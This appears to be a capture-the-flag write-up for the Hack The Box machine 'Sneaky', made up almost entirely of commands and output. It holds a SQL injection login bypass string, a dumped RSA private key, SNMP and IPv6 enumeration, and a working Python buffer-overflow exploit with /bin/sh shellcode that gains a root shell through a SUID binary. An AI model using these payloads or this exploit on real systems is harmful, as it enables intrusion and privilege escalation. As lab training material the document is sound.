BASIC SQL INJECT

NMAP UDP

SNMP ENUM

FINDING IPV6 ADDRESS

SSH IPV6

SBIN CHAL BUFFEROVERFLOW

FINDING EIP

```
PORT   STATE SERVICE VERSION

80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

|_http-server-header: Apache/2.4.7 (Ubuntu)

|_http-title: Under Development!
```

```
root@kali:/home/kali/Desktop/htb/sneaky# gobuster dir -u http://sneaky.htb/ -w /usr/share/wordlists/dirb/common.txt

/dev (Status: 301)
```

http://sneaky.htb/dev/

username : 'or 1=1 --

password: 'or 1=1 –

name: admin

name: thrasivoulos

```
-----BEGIN RSA PRIVATE KEY-----

MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5

Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr

3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb

yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn

cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj

oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa

Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR

h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC

CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT

OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
```

```
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB

JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz

5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY

ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym

+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu

7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC

GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne

aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J

VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x

hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd

1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ

LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG

UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/

Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31

rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb

-----END RSA PRIVATE KEY-----
```

UDP SCAN

```
root@kali:/home/kali/Desktop/htb/sneaky# nmap -sU sneaky.htb
```

SNMP ENUM

```
msf5 > use auxiliary/scanner/snmp/snmp_enum

msf5 auxiliary(scanner/snmp/snmp_enum) > set rhosts 10.10.10.20

rhosts => 10.10.10.20

msf5 auxiliary(scanner/snmp/snmp_enum) > set threads 5

threads => 5
```

```
*] System information:



Host IP                 : 10.10.10.20

Hostname                  : Sneaky

Description              : Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686
```

```
Contact                  : root

Location                 : Unknown

Uptime snmp              : 00:23:01.90

Uptime system            : 00:22:56.97

System date              : 2020-7-15 19:02:35.0

1000         runnable        sshd          /usr/sbin/sshd     -D
```

FINDING IPV6 ADDRESS

https://raw.githubusercontent.com/trickster0/Enyx/master/enyx.py

```
root@kali:/home/kali/Desktop/htb/sneaky# python exploit.py 2c public 10.10.10.20

[+] Grabbing IPv6.

[+] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001

[+] Unique-Local -> dead:beef:0000:0000:0250:56ff:feb9:7620

[+] Link Local -> fe80:0000:0000:0000:0250:56ff:feb9:7620
```

SSH IPV6

```
root@kali:/home/kali/Desktop/htb/sneaky# ssh -i id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:7620
```

SBIN CHAL (BUFFER OVERFLOW)

```
thrasivoulos@Sneaky:~$ find / -perm -u=s 2>/dev/null

/usr/local/bin/chal

root@kali:/home/kali/Desktop/tools# /usr/bin/msf-pattern_create -l 500

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag
4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0A
n1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1A
q2Aq3Aq4Aq5Aq

thrasivoulos@Sneaky:/usr/local/bin$ gdb -q chal

(gdb) r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag
4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0A
n1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1A
q2Aq3Aq4Aq5Aq

Program received signal SIGSEGV, Segmentation fault.

0x316d4130 in ?? ()
```

```
root@kali:/home/kali/Desktop/tools# /usr/bin/msf-pattern_offset -q 0x316d4130 -l 500
[*] Exact match at offset 362
root@kali:/home/kali/Desktop/htb/sneaky# checksec ./chal
[*] '/home/kali/Desktop/htb/sneaky/chal'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

https://packetstormsecurity.com/files/115010/Linux-x86-execve-bin-sh-Shellcode.html

FINDING EIP

```
thrasivoulos@Sneaky:/usr/local/bin$ gdb -q chal
(gdb) r $(python -c 'print "A"*400')
(gdb) x /100x $esp
root@kali:/home/kali/Desktop/htb/sneaky# cat exploit2.py
BUF_SIZE=362
SHELL_CODE = "\x31\xc0\x50\x68\x2f\x2f\x73"
SHELL_CODE += "\x68\x68\x2f\x62\x69\x6e\x89"
SHELL_CODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
SHELL_CODE += "\xcd\x80\x31\xc0\x40\xcd\x80"

NOP_SLED = "\x90"*(BUF_SIZE-len(SHELL_CODE))
EIP = "\xb0\xf7\xff\xbf"
payload = NOP_SLED + SHELL_CODE + EIP
print payload
thrasivoulos@Sneaky:/tmp$ /usr/local/bin/chal $(python exploit2.py)
```

ROOTED!!!!!!